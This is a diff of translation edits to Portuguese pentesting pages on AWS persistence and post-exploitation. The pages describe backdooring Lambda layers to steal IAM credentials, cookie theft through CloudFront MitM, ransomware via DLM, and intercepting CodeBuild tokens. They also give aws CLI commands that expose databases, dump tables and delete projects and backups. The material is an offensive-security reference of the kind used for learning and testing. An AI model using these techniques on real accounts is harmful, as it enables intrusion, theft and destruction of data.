-### Backdooring de Camada Lambda
+### Backdooring de Lambda Layer
 
 Neste exemplo, vamos supor que o código alvo está importando **`csv`**. Vamos **backdoor a importação da biblioteca `csv`**.
 
@@ -96,13 +96,13 @@ O payload integrado **enviará as credenciais IAM para um servidor NA PRIMEIRA V
 ### Camadas Externas
 
 Note que é possível usar **camadas lambda de contas externas**. Além disso, uma lambda pode usar uma camada de uma conta externa mesmo que não tenha permissões.\
-Também note que o **número máximo de camadas que uma lambda pode ter é 5**.
+Além disso, o **número máximo de camadas que uma lambda pode ter é 5**.
 
 Portanto, para melhorar a versatilidade desta técnica, um atacante poderia:
 
 - Backdoor uma camada existente do usuário (nada é externo)
 - **Criar** uma **camada** em **sua conta**, dar **acesso à conta da vítima** para usar a camada, **configurar** a **camada** na Lambda da vítima e **remover a permissão**.
-- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá nenhuma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda)
+- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá uma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda)
 - A vítima **não verá camadas externas** usadas com **`aws lambda list-layers`**
 ```bash
 # Upload backdoor layer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 884b000a6..ef5c146c1 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -12,11 +12,11 @@ Para mais informações, consulte:
 
 ### Baixar chaves SSH da instância e senhas do DB
 
-Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência
+Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência.
 
-### Backdoor Instances
+### Backdoor em Instâncias
 
-Um atacante poderia obter acesso às instâncias e backdoor elas:
+Um atacante poderia acessar as instâncias e backdoor elas:
 
 - Usando um **rootkit** tradicional, por exemplo
 - Adicionando uma nova **chave SSH pública**
@@ -26,7 +26,7 @@ Um atacante poderia obter acesso às instâncias e backdoor elas:
 
 Se os domínios estiverem configurados:
 
-- Crie um subdomínio apontando seu IP para que você tenha uma **subdomain takeover**
+- Crie um subdomínio apontando para seu IP para que você tenha uma **subdomain takeover**
 - Crie um registro **SPF** permitindo que você envie **emails** do domínio
 - Configure o **IP do domínio principal para o seu próprio** e realize um **MitM** do seu IP para os legítimos
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index e5795ff0f..3bc1022d2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -1,4 +1,4 @@
-# AWS - RDS Persistence
+# AWS - Persistência RDS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -16,9 +16,9 @@ Um atacante com esta permissão pode **modificar uma instância RDS existente pa
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
-### Criar um usuário admin dentro do DB
+### Criar um usuário administrador dentro do DB
 
-Um atacante poderia **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
+Um atacante poderia simplesmente **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
 
 ### Tornar o snapshot público
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index bd4f9dd5b..a46420668 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -10,7 +10,7 @@ Para mais informações, consulte:
 ../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### KMS Criptografia do Lado do Cliente
+### KMS Client-Side Encryption
 
 Quando o processo de criptografia é concluído, o usuário usará a API KMS para gerar uma nova chave (`aws kms generate-data-key`) e ele **armazenará a chave criptografada gerada dentro dos metadados** do arquivo ([exemplo de código python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que, quando a descriptografia ocorrer, ele possa descriptografá-la usando o KMS novamente:
 
@@ -18,8 +18,8 @@ Quando o processo de criptografia é concluído, o usuário usará a API KMS par
 
 Portanto, um atacante poderia obter essa chave dos metadados e descriptografar com KMS (`aws kms decrypt`) para obter a chave usada para criptografar as informações. Dessa forma, o atacante terá a chave de criptografia e, se essa chave for reutilizada para criptografar outros arquivos, ele poderá usá-la.
 
-### Usando ACLs do S3
+### Using S3 ACLs
 
-Embora geralmente as ACLs dos buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
+Embora geralmente as ACLs de buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 4ed0e8a7f..1fdbb2a40 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -65,7 +65,7 @@ A seguinte política dá a todos na AWS acesso para ler e escrever no tópico SN
 ```
 ### Criar Assinantes
 
-Para continuar a exfiltrar todas as mensagens de todos os tópicos, o atacante poderia **criar assinantes para todos os tópicos**.
+Para continuar exfiltrando todas as mensagens de todos os tópicos, o atacante pode **criar assinantes para todos os tópicos**.
 
 Observe que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser utilizados.
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 6411ad902..d0408afee 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -32,6 +32,6 @@ A seguinte política dá a todos na AWS acesso a tudo na fila chamada **MyTestQu
 }
 ```
 > [!NOTE]
-> Você poderia até **disparar um Lambda na conta do atacante toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Você poderia até **disparar uma Lambda na conta dos atacantes toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index 3bd0aae28..bd221ad22 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - Persistência SSM
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 706903f8f..a0517c678 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,8 +1,8 @@
-# AWS - Persistência de Funções de Passo
+# AWS - Persistência em Step Functions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Funções de Passo
+## Step Functions
 
 Para mais informações, consulte:
 
@@ -10,12 +10,12 @@ Para mais informações, consulte:
 ../aws-services/aws-stepfunctions-enum.md
 {{#endref}}
 
-### Backdooring de Função de Passo
+### Backdooring de Step Functions
 
-Backdoor uma função de passo para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, ela execute seus passos maliciosos.
+Backdoor uma step function para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, rodará seus passos maliciosos.
 
 ### Backdooring de aliases
 
-Se a conta AWS estiver usando aliases para chamar funções de passo, seria possível modificar um alias para usar uma nova versão backdoored da função de passo.
+Se a conta AWS estiver usando aliases para chamar step functions, seria possível modificar um alias para usar uma nova versão backdoored da step function.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 2c2987bb5..acb7ac0b4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -1,4 +1,4 @@
-# AWS - STS Persistence
+# AWS - Persistência STS
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@ Para mais informações, acesse:
 
 ### Token de função assumida
 
-Tokens temporários não podem ser listados, então manter um token temporário ativo é uma forma de manter a persistência.
+Tokens temporários não podem ser listados, então manter um token temporário ativo é uma maneira de manter a persistência.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
@@ -40,7 +40,7 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras como uma cadeia de funções pode ser configurada.
+> Observe que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
 
 <details>
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index a90077ddc..4d2d68678 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -15,13 +15,13 @@ Para mais informações, consulte:
 Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\
 Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.
 
-### Bypass do passthrough do corpo da requisição
+### Bypass do corpo da requisição
 
 Esta técnica foi encontrada em [**este writeup de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
 Conforme indicado na [**documentação da AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, passará a requisição para o back end sem transformação.
 
-Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
+Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo que a flag fosse exfiltrada** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
@@ -32,15 +32,15 @@ Finalmente, como o API Gateway estava permitindo apenas `Get` e `Options`, era p
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
-### Usage Plans DoS
+### Planos de Uso DoS
 
-Na seção **Enumeration**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **apenas usá-la e causar um DoS**.
+Na seção **Enumeração**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você pode **apenas usá-la e causar um DoS**.
 
-A **API Key** só precisa ser **incluída** dentro de um **HTTP header** chamado **`x-api-key`**.
+A **API Key** só precisa ser **incluída** dentro de um **cabeçalho HTTP** chamado **`x-api-key`**.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Gateway Response existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
+Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -53,7 +53,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
 
-> [!NOTE]
+> [!NOTA]
 > Necessita de teste
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
@@ -71,12 +71,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Impacto Potencial**: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.
 
-> [!NOTE]
+> [!NOTA]
 > Necessita de teste
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método de API Gateway REST API existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executam scripts maliciosos**.
+Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -91,7 +91,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
 
-> [!NOTE]
+> [!NOTA]
 > Necessita de teste
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Enfraquecendo a segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
+**Impacto Potencial**: Enfraquecimento da segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
 
 > [!NOTE]
 > Necessita de teste
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index cbeb04664..02be5d127 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - CloudFront Pós Exploração
+# AWS - CloudFront Pós-Exploração
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,21 +10,21 @@ Para mais informações, consulte:
 ../aws-services/aws-cloudfront-enum.md
 {{#endref}}
 
-### Homem-no-Meio
+### Man-in-the-Middle
 
-Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
+Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver em uso) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
 
 #### cenário 1: MitM onde o CloudFront está configurado para acessar algum HTML de um bucket
 
 - **Criar** a **função** maliciosa.
 - **Associá-la** à distribuição do CloudFront.
-- Definir o **tipo de evento como "Resposta do Visualizador"**.
+- Definir o **tipo de evento como "Viewer Response"**.
 
 Acessando a resposta, você poderia roubar o cookie dos usuários e injetar um JS malicioso.
 
 #### cenário 2: MitM onde o CloudFront já está usando uma função lambda
 
-- **Modificar o código** da função lambda para roubar informações sensíveis
+- **Modificar o código** da função lambda para roubar informações sensíveis.
 
 Você pode verificar o [**código tf para recriar esses cenários aqui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 3de54908c..f75ee0f01 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### Verificar Segredos
 
-Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou tokens de acesso OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\
+Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou acesso de token OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\
 Portanto, se você tiver acesso para ler o gerenciador de segredos, poderá obter esses segredos e pivotar para a plataforma conectada.
 
 {{#ref}}
@@ -50,13 +50,13 @@ aws-codebuild-token-leakage.md
 
 ### `codebuild:DeleteProject`
 
-Um atacante poderia deletar um projeto inteiro do CodeBuild, causando a perda da configuração do projeto e impactando as aplicações que dependem do projeto.
+Um atacante poderia deletar um projeto inteiro do CodeBuild, causando perda da configuração do projeto e impactando aplicações que dependem do projeto.
 ```bash
 aws codebuild delete-project --name <value>
 ```
-**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicativos que utilizam o projeto excluído.
+**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicações que utilizam o projeto excluído.
 
-### `codebuild:TagResource`, `codebuild:UntagResource`
+### `codebuild:TagResource` , `codebuild:UntagResource`
 
 Um atacante poderia adicionar, modificar ou remover tags dos recursos do CodeBuild, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index b4db143dc..86e70756e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -14,7 +14,7 @@ Se você descobrir que a autenticação para, por exemplo, Github está configur
 
 Para isso, você poderia **criar um novo projeto Codebuild** ou alterar o **ambiente** de um existente para definir a **imagem Docker**.
 
-A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no CERT SSL indicado em **`SSL_CERT_FILE`**.
+A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no SSL CERT indicado em **`SSL_CERT_FILE`**.
 
 1. **Crie e faça upload da sua própria imagem Docker MitM**
 - Siga as instruções do repositório para definir o endereço IP do seu proxy e configurar seu certificado SSL e **construa a imagem docker**.
@@ -80,7 +80,7 @@ Ativar isso permite que o Codebuild se conecte ao repositório **sem verificar o
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
-- Em seguida, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo da minha atualização de um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada).
+- Então, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo de como atualizei um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada).
 - Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para o seu tcp ngrok como:
 ```bash
 aws codebuild update-project --name <proj-name> \
@@ -132,7 +132,7 @@ mitm.run()
 
 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### ~~Via protocolo HTTP~~
+### ~~Via HTTP protocol~~
 
 > [!TIP] > **Essa vulnerabilidade foi corrigida pela AWS em algum momento da semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Portanto, um atacante não pode mais abusar disso :)**
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index 0f637384c..1f976ca5d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Controle de Torre Pós-Exploração
+# AWS - Controle de Torre Pós Exploração
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index e1ac58267..c02bdb91b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -6,7 +6,7 @@
 
 ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
 
-Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
+Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, eles podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
 
 Primeiramente, usará um comando para coletar informações sobre os volumes, como ID da instância, ID do volume, status de criptografia, status de anexação e tipo de volume.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index a48e0e844..873a378a7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Exploração Pós-Explotação do DynamoDB
+# AWS - Exploração Pós-DynamoDB
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### `dynamodb:BatchGetItem`
 
-Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`).
+Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
+**Impacto Potencial:** Elevação de privilégios indireta ao localizar informações sensíveis na tabela
 
 ### `dynamodb:GetItem`
 
-**Semelhante às permissões anteriores** esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
+**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 }
 }
 ```
-Com esta permissão, também é possível usar o método **`transact-get-items`** da seguinte forma:
+Com essa permissão, também é possível usar o método **`transact-get-items`** como:
 ```json
 aws dynamodb transact-get-items \
 --transact-items file:///tmp/a.json
@@ -124,7 +124,7 @@ Você pode usar esta permissão para **extrair facilmente toda a tabela**.
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Esta permissão também permite executar `batch-execute-statement` como:
+Essa permissão também permite executar `batch-execute-statement` como:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Note que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
+Observe que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
@@ -192,7 +192,7 @@ aws dynamodb put-item --table <table_name> --item file://add.json
 ```
 {{#endtab }}
 
-{{#tab name="Exemplo de IA" }}
+{{#tab name="AI Example" }}
 ```bash
 aws dynamodb put-item \
 --table-name ExampleTable \
@@ -242,7 +242,7 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto Potencial:** Exploração de outras vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
+**Impacto Potencial:** Exploração de mais vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
 
 ### `dynamodb:DeleteTable`
 
@@ -262,23 +262,23 @@ aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Impacto potencial**: Perda de dados e incapacidade de recuperar de um backup durante um cenário de recuperação de desastres.
+**Impacto potencial**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: Testar se isso realmente funciona
 
